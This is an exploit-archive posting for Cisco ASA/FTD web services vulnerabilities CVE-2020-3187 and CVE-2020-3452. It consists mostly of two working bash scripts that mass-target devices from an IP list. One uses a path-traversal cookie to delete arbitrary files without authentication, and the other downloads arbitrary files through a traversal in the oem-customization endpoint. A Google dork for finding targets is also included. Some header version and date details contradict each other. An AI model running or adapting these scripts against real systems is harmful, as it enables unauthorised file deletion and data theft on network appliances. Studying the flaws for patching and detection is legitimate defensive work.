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Cisco Adaptive Security Appliance Software 9.7 Arbitrary File Deletion

Cisco Adaptive Security Appliance Software 9.7 Arbitrary File Deletion
Posted Jul 29, 2020
Authored by 0xmmnbassel

Cisco Adaptive Security Appliance Software version 9.7 unauthenticated arbitrary file deletion exploit.

tags | exploit, arbitrary
systems | cisco
advisories | CVE-2020-3187
SHA-256 | 9bff9df7bc31ade0ee6b87d153b448191f71eeb26ef4d1d4589e805582f16722

Cisco Adaptive Security Appliance Software 9.7 Arbitrary File Deletion

Change Mirror Download
# Exploit Title: Cisco Adaptive Security Appliance Software 9.7 - Unauthenticated Arbitrary File Deletion
# Google Dork: inurl:/+CSCOE+/
# Date: 2020-08-27
# Exploit Author: 0xmmnbassel
# Vendor Homepage: https://www.cisco.com/c/en/us/products/security/asa-firepower-services/index.html#~models
# Version: Cisco ASA Software >=9.14 except 9.11 Cisco FTD Software >=6.2.2 and 6.2.3,6.3.0,6.4.0,6.50,6.60
# Vulnerability Type: unauthenticated file deletion
# Version: Cisco ASA Software releases 9.5 and earlier, as well as
# Release 9.7, have reached end of software maintenance. Customers are
# advised to migrate to a supported release that includes the fix for
# this vulnerability.
# CVE : CVE-2020-3187

#!/bin/bash

delete="csco_logo.gif"


helpFunction()
{
echo ""
echo -e "\t\tCVE-2020-3187"
echo ""
echo "Usage: $0 -l targets.txt -d csco_logo.gif "
echo -e "\t-l for list of IPs in text file"
echo -e "\t-d file to be deleted, default: ./+CSCOE+/csco_logo.gif"
echo -e "\t-i for single IP test"
exit 1
}

while getopts "l:d:i:" opt
do
case "$opt" in
l ) input="$OPTARG" ;;
d ) delete="$OPTARG" ;;
i ) website="$OPTARG" ;;
? ) helpFunction ;;
esac
done


#if $website is empty or $input is empty
if [ -z "$website" ] && [ -z "$input" ]
then
echo "Some/all of the parameters are empty";
helpFunction
fi

#usage

if [ -z "$input"];
then
status=$(curl -LI $website/+CSCOU+/$delete -o /dev/null -w
'%{http_code}\n' -s)
echo "checking if $website has the $delete file"
if [ $status -eq 200 ]; then
echo "$website/+CSCOU+/$delete exists, deleting it..."
curl -H "Cookie: token=..//+CSCOU+/$delete" -v -s -o
resultsindv.txt $website/+CSCOE+/session_password.html
delcheck=$(curl -LI $website/+CSCOU+/$delete -o /dev/null -w
'%{http_code}\n' -s)
if [ delcheck -eq 404]; then
echo "Deleted!, $website is vulnerable to CVE-2020-3187."
else
echo "Cannot Delete $website/+CSCOU+/$delete file, check it manaully!"
fi
else
echo "$website/+CSCOU+/$delete doesn't exist!"
fi

else
while IFS= read -r line
do
echo "Checking $line if file $delete exist.."
#echo $response
status=$(curl -LI $line/+CSCOU+/$delete -o /dev/null -w
'%{http_code}\n' -s)
if [ $status -eq 200 ]; then
echo "$line/+CSCOU+/$delete exists, deleting it..."
curl -H "Cookie: token=..//+CSCOU+/$delete" -v -s -o
results.txt $line/+CSCOE+/session_password.html

#for no verbosity
#curl -H "Cookie: token=..//+CSCOU+/$delete" -s -o
results.txt $line/+CSCOE+/session_password.html
delcheck=$(curl -LI $line/+CSCOU+/$delete -o /dev/null -w
'%{http_code}\n' -s)
if [ delcheck -eq 404]; then
echo "Deleted!, $line is vulnerable to CVE-2020-3187."
else
echo "Cannot Delete $line/+CSCOU+/$delete file, check it manaully!"
fi
else
echo "$line/+CSCOU+/$delete doesn't exist!"
fi
done < "$input"


fi




#!/bin/bash


read="%2bCSCOE%2b/portal_inc.lua"


helpFunction()
{
echo ""
echo -e "\t\tCVE-2020-3452"
echo ""
echo "Usage: $0 -l targets.txt -r %2bCSCOE%2b/portal_inc.lua "
echo -e "\t-l for list of IPs in text file"
echo -e "\t-r file to read, default: %2bCSCOE%2b/portal_inc.lua"
echo -e "\t-i for single IP test"
exit 1
}

while getopts "l:r:i:" opt
do
case "$opt" in
l ) input="$OPTARG" ;;
r ) read="$OPTARG" ;;
i ) website="$OPTARG" ;;
? ) helpFunction ;;
esac
done



#if $website is empty or $input is empty
if [ -z "$website" ] && [ -z "$input" ]
then
echo "Some/all of the parameters are empty";
helpFunction
fi

#usage


if [ -z "$website"];
then
while IFS= read -r line
do
name=$(echo $line | cut -c9-19)
#echo "testing $line"
filename="$name.txt"
#echo $response
status=$(curl -LI $line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s)

if [ $status -eq "400" ]; then
echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
else
wget "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt

if [ -s $filename ]; then
echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
echo "downloaded!, $line is vulnerable to CVE-2020-3452."

else
echo "not vulnerable!"
rm -rf $filename
fi
fi
done < "$input"
else

name=$(echo $website | cut -c9-16)
filename="$name.txt"

status=$(curl -LI $website"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s)
if [ $status -eq "Bad Request" ]; then
echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
else

echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
wget "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt
if [ -s $filename ]; then
echo "downloaded!, $website is vulnerable to CVE-2020-3452."
else
echo "not vulnerable!"
rm -rf $filename
fi
fi

fi
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